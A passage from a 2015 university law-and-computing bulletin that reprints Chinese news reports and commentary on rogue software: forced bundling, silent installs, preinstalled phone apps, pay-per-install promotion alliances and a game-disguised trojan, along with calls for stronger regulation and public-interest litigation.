36 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 相 关 安 装 轨 迹, 难 以 固 定 证 据 进 行 维 权, 普 通 老 百 姓 只 能 望 机 兴 叹 而 且, 强 制 安 装 程 序 既 违 背 了 行 业 的 准 则 和 商 业 道 德, 也 违 法 了 信 用 原 则, 是 典 型 的 不 正 当 竞 争 行 为 故 此 种 流 氓 行 为 容 易 引 发 不 良 示 范, 一 旦 合 法 经 营 企 业 发 现 恶 意 软 件 抢 占 了 市 场, 很 可 能 把 自 己 的 软 件 也 变 成 恶 意 软 件, 从 而 劣 币 驱 除 良 币, 最 终 将 影 响 整 个 互 联 网 行 业 的 健 康 发 展 流 氓 软 件 泛 滥 成 灾, 监 管 不 可 默 认 和 姑 息, 必 须 给 其 套 上 法 律 笼 头 尽 快 出 台 相 应 法 律 法 规, 完 善 市 场 监 督, 增 强 互 联 网 行 业 的 自 律 和 他 律, 依 法 约 束 规 范 和 处 罚 企 业 违 规 行 为 只 有 法 律 强 力 卸 载 流 氓 软 件, 才 是 全 面 维 护 广 大 消 费 者 的 合 法 权 益 和 社 会 公 共 利 益 的 杀 毒 路 径 流 氓 软 件 不 仅 仅 是 流 氓 然 玉 ( 媒 体 评 论 员 ): 流 氓 软 件, 业 已 成 为 某 种 上 下 相 蒙 产 业 骗 局 的 重 要 一 环 在 这 一 骗 局 中, 流 氓 软 件 负 责 强 迫 用 户 不 断 下 载 的 多 余 软 件 ; 而 由 此 所 增 加 的 无 效 装 机 量, 又 会 反 过 来 变 成 相 关 软 件 产 商 骗 取 广 告 投 放 和 投 资 人 出 资 的 耀 眼 成 绩 单 可 以 说, 这 是 一 场 自 上 而 下 分 工 协 作 的 连 环 骗 局 终 端 的 消 费 者, 与 上 游 的 资 本 力 量, 乃 是 其 中 最 为 明 显 的 受 害 者 明 乎 此, 我 们 便 很 容 易 发 现, 现 阶 段 法 律 关 于 流 氓 软 件 的 表 述, 存 在 着 与 生 俱 来 的 局 限 性 也 即, 更 多 只 是 将 之 视 作 侵 犯 公 民 知 情 权 选 择 权 的 琐 碎 案 例, 而 未 曾 意 识 到 其 所 给 市 场 秩 序 带 来 的 系 统 化 危 害 只 有 充 分 意 识 到 流 氓 软 件 的 整 体 危 害, 才 能 有 动 力 去 调 整 立 法 表 述 去 强 化 日 常 执 法 也 唯 有 如 此, 才 可 从 而 避 免 一 种 投 机 取 巧 的 行 业 风 气, 蚕 食 掉 健 康 的 市 场 的 价 值 判 断 与 竞 争 秩 序 应 用 公 益 诉 讼 来 卸 载 杨 燕 明 ( 职 员 ): 说 到 这, 就 很 容 易 让 人 想 起 两 个 案 例 : 一 是 去 年 9 月, 深 圳 有 消 费 者 就 流 氓 软 件 的 问 题 起 诉 过 手 机 商, 但 全 部 诉 讼 请 求 均 被 法 院 驳 回 ; 二 是 上 海 消 保 委 近 日 提 起 公 益 诉 讼, 将 两 家 公 司 捆 绑 销 售 应 用 软 件 又 不 告 知 消 费 者 的 行 为 告 上 法 庭, 这 获 得 中 消 协 的 支 持, 也 获 得 立 案 由 此 可 见, 在 面 对 流 氓 软 件 时, 个 体 的 努 力 仍 然 还 有 很 大 的 局 限 性, 只 有 消 协 这 样 的 组 织 发 力, 才 有 可 能 获 得 更 大 的 正 义 就 如 今 而 言, 案 件 仍 然 没 有 审 理, 但 可 以 肯 定 的 一 点 是, 相 比 起 个 体 的 单 打 独 斗, 公 益 诉 讼 帮 消 费 者 撑 腰, 显 然 更 值 得 期 待 不 能 只 管 软 件 不 管 流 氓 郭 元 鹏 ( 电 视 编 辑 ): 流 氓 软 件 的 存 在, 作 为 管 理 部 门 的 工 信 部 是 一 清 二 楚 的 既 然 知 道 了 这 些 流 氓 软 件 的 存 在, 工 信 部 又 是 如 何 处 理 的 呢? 工 信 部 经 常 引 导 企 业 开 发 一 些 可 以 拦 截 流 氓 软 件 的 软 件 除 此 之 外, 还 对 开 发 抵 御 流 氓 软 件 的 企 业 进 行 政 策 倾 斜, 进 行 资 金 奖 励 为 了 抵 御 流 氓 软 件, 还 设 立 了 专 门 的 科 研 资 金, 用 于 开 发 抵 御 流 氓 软 件 的 软 件 按 说, 工 信 部 也 是 有 作 为 的 用 技 术 手 段 拦 截 流 氓 软 件, 就 可 以 减 少 流 氓 软 件 侵 入 的 成 功 概 率 但 是, 这 种 依 靠 技 术 的 抵 御, 也 仅 仅 是 一 种 防 范 治 理 流 氓 软 件, 不 能 只 是 用 技 术 抵 御 这 些 软 件, 关 键 是 要 让 软 件 背 后 的 流 氓 付 出 代 价 既 然 知 道 了 哪 些 是 流 氓 软 件, 是 哪 家 公 司 的 软 件, 工 信 部 就 别 手 软 了, 拿 出 警 方 查 处 快 播 的 劲 头 去 行 动 吧! 相 关 链 接 :

37 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 恶 意 捆 绑 安 装 起 底 流 氓 软 件 暴 利 链 2015 年 08 月 24 日 星 期 一 新 京 报 流 氓 软 件 入 侵 过 程 1 点 击 某 色 情 网 站 视 频 链 接, 电 脑 桌 面 弹 出 的 播 放 器 安 装 提 示 2 点 击 安 装 播 放 器 后 出 现 的 安 装 提 示, 如 确 认 运 行 则 会 激 活 流 氓 软 件 的 安 装 程 序

38 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 3 流 氓 软 件 在 自 动 装 载 过 程 中, 电 脑 桌 面 自 动 弹 出 某 电 脑 游 戏 登 录 界 面 8 月 6 日, 网 络 安 全 技 术 人 员 向 记 者 指 出 流 氓 软 件 的 入 侵 过 程 点 击 一 色 情 网 站 安 装 播 放 器 的 提 示 后, 流 氓 软 件 会 在 后 台 运 行, 自 动 给 电 脑 装 上 若 干 个 软 件, 侵 占 电 脑 存 储 空 间 在 电 脑 和 手 机 的 屏 幕 上, 流 氓 日 渐 猖 獗 今 年 7 月 底, 工 信 部 发 布 2015 年 第 二 季 度 电 信 服 务 质 量 通 告 显 示, 在 对 40 余 家 手 机 应 用 商 店 应 用 软 件 进 行 的 技 术 检 测 中, 共 发 现 有 80 款 应 用 软 件 存 在 问 题, 其 中 大 部 分 软 件 系 恶 意 相 互 捆 绑, 强 制 安 装 在 手 机 上, 也 就 是 俗 称 的 流 氓 软 件 不 仅 是 手 机, 电 脑 流 氓 软 件 同 样 大 行 其 道 有 网 络 安 全 机 构 发 布 数 据 显 示, 目 前 存 在 于 PC 端 用 户 的 流 氓 软 件 有 数 百 款, 其 中 不 乏 较 为 知 名 的 软 件, 不 少 软 件 用 户 数 高 达 百 万 级 新 京 报 记 者 近 日 调 查 发 现, 流 氓 软 件 肆 虐 背 后, 是 一 条 渐 成 产 业 的 灰 色 利 益 链 条 流 氓 软 件 作 者 采 用 强 制 捆 绑 欺 骗 安 装 等 方 式 推 广 软 件, 并 从 软 件 厂 商 或 职 业 推 广 人 处 获 取 利 益 据 了 解, 通 过 这 条 利 益 链, 一 款 捆 绑 五 款 软 件 的 流 氓 软 件 半 年 获 利 达 数 百 万 元, 软 件 厂 商 职 业 推 广 人 和 流 氓 软 件 作 者 等 均 从 中 获 益 而 大 量 因 此 遭 受 损 失 的 手 机 和 电 脑 用 户, 维 权 困 难 重 重 专 家 认 为, 流 氓 软 件 侵 权 行 为 很 明 显, 但 举 证 过 程 太 过 艰 难, 相 关 部 门 应 该 加 强 网 络 监 管, 同 时 还 应 完 善 相 关 法 律 法 规, 严 惩 软 件 耍 流 氓 新 手 机 装 了 35 个 软 件 待 售 手 机 被 预 装 大 量 应 用 软 件 ; 暗 藏 流 氓 软 件 难 卸 载 王 成 发 现 他 的 手 机 不 对 劲 儿 是 在 今 年 8 月 初 他 新 买 的 手 机 预 装 了 一 款 游 戏, 随 后 不 久, 这 部 手 机 在 没 有 数 据 流 量 没 有 通 话, 且 还 有 60 余 元 剩 余 话 费 的 情 况 下, 突 然 被 停 机 经 向 通 信 运 营 商 营 业 厅 查 询, 王 成 发 现 自 己 的 话 费 全 被 游 戏 吸 走 该 款 游 戏 每 过 一 个 关 卡 都 会 要 求 点 击 领 道 具, 我 都 是 习 惯 性 的 点 击, 可 能 触 发 了 扣 费 链 接 类 似 王 成 遭 遇 流 氓 软 件 的 经 历 层 出 不 穷 去 年 央 视 3 15 晚 会 曾 曝 光, 被 预 装 在 手 机 里 的 流 氓 软 件, 除 了 植 入 木 马 吸 费, 还 会 泄 露 用 户 的 个 人 隐 私

39 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 近 日, 新 京 报 记 者 以 购 机 者 身 份 来 到 公 主 坟 一 家 大 型 连 锁 手 机 店, 店 员 小 李 拿 出 多 个 品 牌 的 智 能 手 机, 每 个 都 有 多 达 数 十 款 预 装 应 用 软 件, 其 中 既 有 手 机 生 产 厂 商 自 带, 也 有 通 讯 运 营 商 开 发 以 及 来 自 第 三 方 的 应 用 软 件, 最 多 的 一 款 手 机 被 预 装 了 35 个 第 三 方 应 用 软 件 手 机 预 装 软 件 都 可 以 卸 载 掉, 当 有 用 户 对 手 机 上 的 预 装 软 件 表 示 反 感 时, 小 李 一 边 解 释, 一 边 演 示 卸 载 方 法 但 记 者 注 意 到, 小 李 只 是 演 示 部 分 手 机 应 用 软 件, 一 些 已 装 入 手 机 系 统 ROM 包 的 流 氓 软 件, 他 无 法 卸 载 手 机 安 全 专 家 万 仁 国 表 示, 区 分 预 装 是 普 通 推 广 还 是 流 氓 软 件, 一 个 重 要 指 标 就 是 看 预 装 软 件 能 否 被 用 户 轻 易 卸 载, 不 能 卸 载 的, 就 是 一 种 流 氓 行 为 记 者 注 意 到, 早 在 2006 年, 中 国 互 联 网 协 会 就 公 布 了 流 氓 软 件 的 定 义, 其 特 征 包 括 强 制 安 装, 难 以 卸 载, 浏 览 器 劫 持, 广 告 弹 出, 恶 意 收 集 用 户 信 息, 恶 意 卸 载, 恶 意 捆 绑 等 万 仁 国 还 提 醒, 预 防 手 机 流 氓 软 件, 除 了 安 装 手 机 安 全 应 用 去 正 规 软 件 市 场 下 载 外, 还 要 特 别 注 意 权 限 最 小 化, 用 户 应 尽 量 拒 绝 不 合 理 的 权 限 要 求, 避 免 隐 私 被 泄 露 如 果 有 一 款 手 电 筒 应 用, 却 提 出 要 读 取 修 改 你 的 短 信, 这 时 候 就 应 该 警 惕, 拒 绝 或 者 直 接 卸 载 静 默 安 装 防 不 胜 防 电 脑 流 氓 软 件 伪 装 花 样 百 出,20 分 钟 被 偷 装 11 款 软 件 流 氓 软 件 不 只 出 现 在 手 机 里, 电 脑 也 有 其 耍 流 氓 的 空 间 我 的 电 脑 怎 么 这 么 慢? 中 国 青 年 政 治 学 院 大 三 学 生 刘 玲, 最 近 恨 不 得 砸 了 自 己 的 电 脑 这 台 笔 记 本 电 脑 是 她 在 大 一 开 学 时, 花 了 4000 元 买 的 几 乎 每 学 期 都 要 重 装 一 次 系 统, 但 也 只 能 维 持 两 个 星 期, 刘 玲 说, 电 脑 卡 得 要 死, 开 个 Word 要 3 分 钟, 开 个 浏 览 器 要 5 分 钟, 甚 至 都 不 能 很 顺 畅 地 打 字 电 脑 和 网 络 知 识 欠 缺 的 刘 玲, 只 是 记 得 自 己 在 安 装 软 件 时, 电 脑 桌 面 上 经 常 会 出 现 其 他 软 件 的 图 标, 一 般 装 好 系 统 后 两 个 月 左 右, 桌 面 上 就 能 堆 上 20 多 个 软 件 刘 玲 的 电 脑 为 何 会 卡 得 要 死? 网 络 安 全 专 家 安 扬 经 过 检 测 给 出 了 答 案 : 电 脑 上 被 静 默 安 装 了 一 大 批 流 氓 软 件 所 谓 静 默 安 装 实 际 上 是 一 个 执 行 程 序, 安 扬 解 释, 该 程 序 被 点 击 运 行 后, 会 在 用 户 毫 不 知 情 的 情 况 下 安 装 大 量 软 件 在 安 扬 的 指 点 下, 记 者 登 录 一 个 暗 藏 静 默 安 装 的 网 页, 点 击 该 网 页 上 的 视 频 链 接 后, 并 不 能 播 放 视 频, 而 是 弹 窗 提 示 需 下 载 一 款 名 为 T 云 播 的 播 放 器 后, 方 能 在 线 观 看 视 频 但 按 照 提 示 下 载, 出 现 在 电 脑 上 的 并 非 T 云 播, 而 是 某 音 乐 软 件 的 安 装 包, 安 装 后 电 脑 桌 面 上 会 接 连 出 现 其 他 软 件 windows 任 务 管 理 器 显 示,20 分 钟 共 静 默 安 装 了 来 自 不 同 软 件 公 司 的 11 款 软 件, 仅 杀 毒 软 件 就 有 5 款, 在 此 过 程 中 电 脑 完 全 处 于 死 机 状 态, 无 法 打 开 任 何 一 个 页 面 专 业 人 士 表 示, 同 时 运 行 多 个 杀 毒 软 件, 会 导 致 电 脑 死 机

40 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 安 扬 表 示, 正 常 情 况 下, 软 件 公 司 为 推 广 软 件 扩 大 用 户 量, 会 与 另 一 软 件 公 司 合 作, 通 过 捆 绑 方 式 将 对 方 用 户 转 化 为 自 己 的 用 户, 用 户 则 自 主 勾 选 决 定 是 否 接 受 捆 绑 但 现 实 是, 很 多 软 件 在 推 广 时, 受 利 益 驱 动 肆 意 捆 绑 多 款 软 件, 并 采 用 静 默 安 装 方 式, 用 户 下 载 一 款 软 件 或 点 击 广 告 位 时, 电 脑 在 不 知 情 的 情 况 下 被 安 装 其 他 软 件, 内 存 被 占 用, 拖 慢 了 电 脑 的 运 行 速 度 软 件 推 广 潜 规 则 软 件 推 广 联 盟 催 生 职 业 推 广 人, 招 揽 人 员 散 布 流 氓 软 件 业 内 人 士 介 绍, 在 预 装 软 件 和 静 默 安 装 背 后, 是 一 些 软 件 公 司 为 了 增 加 用 户 量, 会 与 推 广 联 盟 合 作 或 成 立 自 己 的 软 件 推 广 联 盟, 推 广 自 己 的 软 件 产 品 厂 商 在 联 盟 上 提 供 了 安 装 包, 供 注 册 会 员 下 载 但 其 中 一 些 静 默 安 装 包 会 被 流 氓 软 件 利 用, 而 注 册 于 各 推 广 联 盟, 从 事 推 广 各 类 软 件 的 职 业 推 广 人 也 随 之 出 现 业 内 人 士 称, 职 业 推 广 人 会 发 展 一 些 软 件 编 程 人 员, 由 这 些 人 员 将 所 需 推 广 的 软 件 捆 绑 到 自 己 的 软 件 上, 将 下 载 链 接 隐 藏 于 广 告 位, 甚 至 用 木 马 病 毒 进 行 推 广, 这 些 软 件 最 终 静 默 安 装 到 用 户 电 脑 或 手 机 里 安 扬 坦 言, 这 类 推 广 方 式, 即 使 网 络 安 全 从 业 人 员, 也 很 难 监 测 到 相 关 安 装 轨 迹, 并 固 定 证 据 进 行 维 权 一 次 装 机, 终 身 领 工 资, 在 一 个 大 型 的 软 件 推 广 联 盟 网 站, 其 注 册 页 面 上 的 广 告 语 非 常 有 吸 引 力 在 这 个 网 站 上, 职 业 推 广 人 完 成 注 册 后, 就 能 在 这 里 获 取 带 有 流 氓 软 件 的 安 装 包, 然 后 通 过 木 马 病 毒 等 方 式 伪 装 传 播, 一 旦 有 人 安 装, 他 们 就 会 得 到 积 分 该 联 盟 网 站 规 定, 注 册 的 职 业 推 广 人 可 在 固 定 时 间 通 过 网 站 查 询 积 分 情 况,1000 积 分 相 当 于 1 元 钱, 可 兑 换 现 金 或 在 官 网 商 城 换 取 礼 品 记 者 从 该 网 站 下 载 了 一 键 安 装 合 集 7 月 第 一 版 安 装 包, 内 含 11 款 软 件, 报 价 从 0.2 元 到 1 元 不 等 安 装 包 名 称 还 含 有 每 名 会 员 专 属 的 推 广 代 码, 通 过 这 个 代 码 可 以 进 行 计 费 在 这 个 安 装 包 的 功 能 选 项 里, 设 置 网 址 导 航 为 IE 主 页 设 置 默 认 浏 览 器 添 加 网 址 导 航 到 IE 收 藏 夹 三 项 被 默 认 勾 选 如 此 一 来, 被 安 装 的 电 脑 运 行 时, 从 打 开 浏 览 器 到 访 问 主 页, 都 会 自 动 运 行 所 勾 选 的 操 作 此 外, 安 装 选 项 还 默 认 勾 选 了 不 显 示 安 装 进 度, 使 之 变 成 一 个 静 默 安 装 包 同 时, 网 站 提 示 了 几 种 锁 定 主 页 的 技 巧, 其 中 包 含 不 要 安 装 一 些 杀 毒 软 件 等 根 据 报 价, 安 装 包 内 软 件 有 效 安 装 一 次, 可 获 得 200 到 1000 不 等 积 分 该 联 盟 官 网 自 称 已 有 300 万 个 注 册 会 员 从 联 盟 领 取 工 资 知 情 人 士 透 露, 这 些 工 资 本 质 上 都 来 自 需 要 推 广 自 己 软 件 的 厂 商 通 过 查 询 该 联 盟 报 价 不 难 发 现, 杀 毒 软 件 安 装 的 报 价 最 高, 赚 钱 最 多, 基 本 上 每 被 有 效 安 装 一 次, 职 业 推 广 人 都 能 获 得 1 元 至 2 元 暴 利 驱 使 流 氓 软 件 肆 虐

41 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 以 截 图 软 件 面 目 出 现 ; 捆 绑 五 款 软 件, 影 响 116 万 用 户 流 氓 软 件 泛 滥 成 灾 背 后, 离 不 开 利 益 驱 动 在 记 者 电 脑 里 被 静 默 安 装 的 一 款 杀 毒 软 件, 安 装 程 序 后 面 有 一 个 ID 号 这 个 ID 号 就 对 应 了 会 员 在 推 广 联 盟 注 册 的 账 号, 安 装 完 成 后, 软 件 厂 商 会 自 动 为 这 个 ID 做 一 次 安 装 成 功 的 记 录 同 时 软 件 厂 商 通 过 安 装 成 功 次 数 对 该 ID 号 进 行 积 分, 达 到 一 定 积 分 量 后,ID 号 的 注 册 者 即 可 相 应 兑 换 变 现 安 扬 说, 根 据 网 络 联 盟 报 价 估 算, 记 者 电 脑 上 被 静 默 安 装 的 11 款 软 件, 能 让 推 广 者 获 利 近 10 元 软 件 开 发 人 员 张 原 向 记 者 回 忆, 他 半 年 前 曾 做 过 一 款 小 软 件, 并 把 下 载 地 址 传 到 某 网 络 论 坛 上, 留 下 QQ 号 希 望 大 家 试 用 后 提 些 建 议 建 议 还 没 等 来, 他 却 等 来 了 商 机 一 些 软 件 职 业 推 广 人 加 我 为 好 友, 上 来 就 说 有 好 产 品 推 荐 给 我 做 张 原 说, 这 些 职 业 推 广 人 希 望 用 他 的 软 件 捆 绑 其 他 软 件 进 行 推 广, 同 时 发 来 的 报 价 单 里, 还 有 各 种 推 广 软 件 报 价, 其 中 一 款 视 频 软 件 有 效 安 装 一 次 就 可 以 赚 2 元, 按 安 装 量 每 周 结 算 一 次 据 互 联 网 安 全 机 构 上 半 年 的 统 计, 一 款 作 为 流 氓 软 件 的 截 图 软 件, 被 捆 绑 了 五 款 软 件, 受 影 响 的 用 户 数 量 116 万 其 中 一 款 软 件 每 有 效 安 装 一 次 报 价 为 0.7 元, 照 此 计 算, 该 截 图 软 件 总 共 可 从 软 件 厂 商 处 获 利 81.2 万, 捆 绑 的 五 款 软 件 半 年 获 利 或 达 上 百 万 元 手 机 预 装 软 件 也 是 如 此, 公 主 坟 迪 信 通 店 店 员 小 李 说, 新 手 机 内 预 装 的 软 件, 分 别 来 自 厂 商 通 讯 公 司 开 发 和 第 三 方 应 用 业 内 人 士 还 透 露, 手 机 从 出 厂 到 销 售 有 多 个 环 节, 如 果 某 一 环 节 重 复 预 装 上 一 环 节 已 经 预 装 过 的 同 一 款 应 用 软 件, 在 软 件 厂 商 的 统 计 中 不 予 计 量, 无 法 获 得 收 益 因 此 各 环 节 进 行 手 机 预 装 时, 往 往 会 卸 载 掉 一 部 分 已 经 预 装 的 软 件, 再 重 新 进 行 预 装 一 款 手 机 到 达 消 费 者 手 中 时, 被 预 装 几 十 款 软 件 也 就 不 足 为 奇 此 外 为 了 提 高 预 装 软 件 效 率, 一 些 环 节 还 会 使 用 一 种 装 机 神 器 的 设 备, 一 两 个 人 几 分 钟 就 可 以 预 装 好 几 十 部 手 机 软 件 治 安 需 法 律 完 善 流 氓 软 件 侵 权 举 证 难 度 大 ; 违 法 风 险 低, 维 权 成 本 高 有 互 联 网 安 全 机 构 今 年 7 月 提 供 的 数 据 显 示,PC 端 流 氓 软 件 每 月 静 默 安 装 的 软 件 数 量 高 达 1.09 亿 个 手 机 端 今 年 第 二 季 度 共 截 获 安 卓 移 动 平 台 新 增 恶 意 程 序 样 本 550 万 个, 平 均 每 天 截 获 新 增 手 机 恶 意 程 序 样 本 近 6.04 万 个 ; 累 计 监 测 到 移 动 端 用 户 感 染 恶 意 程 序 6573 万 人 次, 平 均 每 天 恶 意 程 序 感 染 量 达 到 了 72.2 万 人 次 据 统 计, 这 些 新 增 恶 意 程 序 主 要 是 资 费 消 耗, 占 比 高 达 80.5%; 其 次 为 恶 意 扣 费 和 隐 私 窃 取 今 年 7 月 28 日, 工 信 部 发 布 2015 年 二 季 度 检 测 发 现 问 题 的 应 用 软 件 名 单, 共 有 80 款 手 机 应 用 软 件 因 强 行 捆 绑 其 他 无 关 应 用 软 件 或 恶 意 吸 费 被 下 架

42 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 面 对 流 氓 软 件 的 进 攻, 部 分 杀 毒 软 件 虽 然 可 以 做 到 部 分 拦 截 查 杀, 但 对 静 默 安 装 的 知 名 厂 商 软 件 却 无 能 为 力 如 果 杀 毒 软 件 发 现 这 种 捆 绑 并 进 行 查 杀 了, 人 家 以 不 正 当 竞 争 为 由 来 告 你, 一 告 一 准 儿, 安 扬 说 安 扬 表 示, 很 多 流 氓 软 件 的 静 默 安 装 列 表 放 在 网 络 服 务 器 上 灵 活 配 置, 不 断 变 化, 在 不 同 地 区 和 不 同 环 境 还 会 有 不 同 表 现, 这 对 于 监 管 部 门 的 调 查 取 证 带 来 了 较 大 难 度 同 时 流 氓 软 件 法 律 风 险 比 较 低, 违 法 者 有 恃 无 恐, 更 通 过 各 种 各 样 的 技 术 手 段 隐 蔽 自 己 中 国 互 联 网 协 会 信 用 评 价 中 心 法 律 顾 问 北 京 志 霖 律 师 事 务 所 律 师 赵 占 领 称 : 流 氓 软 件 在 没 有 明 确 告 知 或 告 知 不 明 显 的 情 况 进 行 捆 绑, 侵 犯 了 用 户 的 知 情 权 和 选 择 权 如 果 网 络 联 盟 和 被 捆 绑 软 件 厂 商 对 流 氓 软 件 行 为 知 情, 也 存 在 侵 权 嫌 疑 但 是 要 证 明 其 知 情, 举 证 难 度 很 大 因 为 维 权 成 本 过 高, 很 少 有 人 作 出 维 权 选 择 亚 太 网 络 法 律 研 究 中 心 主 任 北 师 大 教 授 刘 德 良 称, 流 氓 软 件 静 默 推 广 恶 意 吸 费 盗 取 信 息 等 行 为 涉 嫌 侵 犯 用 户 知 情 权 网 络 空 间 所 有 权 债 券 隐 私 权 信 息 财 产 权 益 等 多 项 法 律 规 定 权 益, 牵 涉 消 费 者 权 益 保 护 法 物 权 法 不 正 当 竞 争 法 等 多 项 民 法, 性 质 比 较 分 散 复 杂, 因 此 法 律 条 文 中 并 没 有 对 种 种 侵 权 行 为 的 具 体 界 定, 若 要 解 释, 除 在 民 事 立 法 领 域 需 要 完 善, 一 旦 流 氓 软 件 推 广 行 为 涉 及 侵 权 行 为, 涉 及 行 政 法 刑 法 范 畴 的, 还 要 在 这 些 法 律 上 加 以 规 范 ( 文 中 王 成 刘 玲 张 原 均 为 化 名 ) A14-15 版 采 写 / 新 京 报 记 者 何 光 实 习 生 刘 思 维 米 惠 惠 A14-15 版 摄 影 / 新 京 报 记 者 吴 江 相 关 链 接 : 电 脑 手 机 软 件 下 载 三 大 新 陷 阱 : 色 情 捆 绑 木 马 发 布 日 期 : 来 源 : 中 国 新 闻 网 对 网 民 来 说 最 深 恶 痛 绝 的 就 是 不 良 软 件, 现 在, 随 着 网 民 警 惕 性 提 高, 作 恶 者 也 不 断 变 换 手 法 无 论 是 手 机 还 是 电 脑, 恶 意 软 件 总 会 以 一... 对 网 民 来 说 最 深 恶 痛 绝 的 就 是 不 良 软 件, 现 在, 随 着 网 民 警 惕 性 提 高, 作 恶 者 也 不 断 变 换 手 法 无 论 是 手 机 还 是 电 脑, 恶 意 软 件 总 会 以 一 副 或 是 人 畜 无 害 或 是 魅 力 十 足 的 架 势 出 现, 但 做 的 却 是 强 制 捆 绑 静 默 安 装 开 后 门 的 龌 龊 事 下 面 介 绍 一 下 电 脑 手 机 软 件 下 载 三 大 新 陷 阱, 请 网 民 朋 友 们 上 网 时 要 注 意 它 们 分 别 得 是 色 情 捆 绑 和 木 马! 电 脑 手 机 软 件 下 载 三 大 新 陷 阱 : 色 情 捆 绑 木 马 强 制 捆 绑 静 默 安 装 现 在 的 电 脑 软 件 拖 家 带 口 的 情 况 非 常 严 重, 如 果 稍 不 注 意 就 会 陷 入 麻 烦 之 中 大 三 学 生 刘 玲 目 前 就 相 当 挣 扎, 新 电 脑 没 买 几 天, 已 经 被 不 速 之 客 搞 的 要 崩 溃 了 而 她 只 是 在 网 上 装 了 几 个 软 件, 却 因 为 疏 于 防 范, 桌 面 已 经 被 20 多 个 软 件 堆 满 如 此 一 来, 电 脑 已 经 能 卡 慢 掉 严 重 影 响 正 常 使 用 记 者 了 解 到, 这 些 不 请 自 来 的 软 件 大 部 分 是 通 过 强 制 捆 绑 和 静 默 安 装 两 种 途 径 被 装 入 电 脑 强 制 捆 绑 是 指 在 安 装 软 件 时 同 步 装 入 其 他 软 件, 虽 然 大 多 会 作 出 提 示, 但 这 些 提 示 要 么 隐 藏 很 深, 要 么 极 不 醒 目, 让 人 难 以 察 觉 而 所 谓 静 默 安 装 实 际 上 是 一 个 执 行 程 序, 一 旦 被 点 击 运 行, 会 在 用 户 毫 不 知 情 的 情 况 下 安 装 大 量 软 件 这 种 方 式 更 为 恶 劣, 完 全 不 打 招 呼, 令 人 难 以 防 范

43 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 借 色 情 内 容 推 广 当 在 网 上 看 到 穿 的 很 凉 快 的 美 女 图 片 暧 昧 不 清 的 视 频 电 影, 难 保 人 们 不 会 去 伸 手 点 击 但 看 似 美 丽 的 背 后 却 有 着 丑 陋 的 现 实, 不 少 软 件 会 借 一 些 色 情 擦 边 球 内 容 博 取 眼 球, 网 友 以 为 点 击 能 看 到 更 香 艳 的 图 片, 没 成 想 电 脑 里 却 被 装 了 推 广 软 件 记 者 经 过 调 查 发 现, 此 类 事 件 的 基 本 会 按 如 下 方 式 实 施 : 点 击 某 色 情 网 站 视 频 链 接, 电 脑 桌 面 弹 出 的 播 放 器 安 装 提 示 ; 点 击 安 装 播 放 器 后 出 现 的 安 装 提 示, 如 确 认 运 行 则 会 激 活 流 氓 软 件 的 安 装 程 序 ; 流 氓 软 件 在 自 动 装 载 过 程 中, 电 脑 桌 面 自 动 弹 出 某 电 脑 游 戏 登 录 界 面 之 后 电 脑 里 就 被 装 入 大 量 无 用 软 件 木 马 病 毒 施 展 易 容 术 由 热 播 剧 衍 生 出 的 网 页 游 戏 如 今 也 成 了 不 法 分 子 在 网 上 散 播 木 马 程 序 的 出 口 之 一 近 日 有 用 户 反 映, 由 国 产 大 剧 花 千 骨 衍 生 的 网 页 游 戏 花 千 骨 被 不 法 分 子 利 用 捆 绑 散 播 木 马 程 序 据 技 术 分 析 显 示 : 花 千 骨 木 马 主 要 利 用 不 良 下 载 站 传 播 该 木 马 借 用 花 千 骨 游 戏 的 外 壳, 程 序 运 行 后 会 向 系 统 盘 中 安 装 文 件 ; 之 后 木 马 会 把 自 己 伪 装 成 正 常 程 序, 在 逃 避 杀 毒 软 件 查 杀 的 同 时, 还 能 够 获 得 自 动 启 动 的 权 限 木 马 在 完 成 伪 装 之 后, 就 会 开 始 自 行 启 动 : 首 先 释 放 木 马 下 载 器, 从 指 定 的 恶 意 网 站 下 载 大 量 木 马 病 毒 之 后 木 马 会 向 用 户 计 算 机 静 默 安 装 大 量 流 氓 软 件, 并 且 将 中 招 电 脑 MAC 地 址 硬 盘 ID 等 信 息 发 送 至 木 马 服 务 器, 用 来 获 取 用 户 详 细 信 息, 然 后 再 源 源 不 断 地 把 各 种 流 氓 软 件 网 页 游 戏 等 定 向 推 广 到 受 害 者 电 脑 中 此 外, 该 木 马 还 会 进 行 锁 定 受 害 者 上 网 首 页 下 载 流 量 劫 持 驱 动 修 改 网 络 信 息 等 恶 意 操 作 这 一 系 列 操 作 全 部 在 受 害 者 不 知 情 的 情 况 下 于 后 台 完 成, 将 会 给 电 脑 正 常 运 行 带 来 极 大 的 负 担 在 预 装 软 件 和 静 默 安 装 背 后, 是 一 些 软 件 公 司 为 了 增 加 用 户 量, 会 与 推 广 联 盟 合 作 或 成 立 自 己 的 软 件 推 广 联 盟, 推 广 自 己 的 软 件 产 品 厂 商 在 联 盟 上 提 供 了 安 装 包, 供 注 册 会 员 下 载 通 过 推 广 联 盟 的 报 价 得 知, 推 广 软 件 被 有 效 安 装 一 次, 推 广 告 人 员 可 获 得 元 不 等 的 报 酬 因 此 最 大 化 扩 展 装 机 量 成 了 此 类 人 等 唯 一 的 需 求 推 广 人 员 为 了 能 将 利 益 最 大 化, 就 会 采 用 上 述 手 段 进 行 推 广 结 果 就 是 有 些 人 赚 得 盆 满 钵 满, 但 受 害 者 却 苦 不 堪 言 软 件 治 安 急 需 规 范 需 多 方 努 力 流 氓 软 件 让 人 苦 不 堪 言, 但 整 治 起 来 却 没 那 么 容 易 侵 权 举 证 难 度 大 ; 违 法 风 险 低, 维 权 成 本 高 是 当 前 受 害 者 面 对 的 主 要 问 题 因 此 目 前 最 好 的 办 法 是 与 其 亡 羊 补 牢, 不 如 未 雨 绸 缪, 管 控 好 软 件 的 来 源 才 能 从 根 本 上 解 决 这 些 问 题 我 们 能 做 的 就 是 上 网 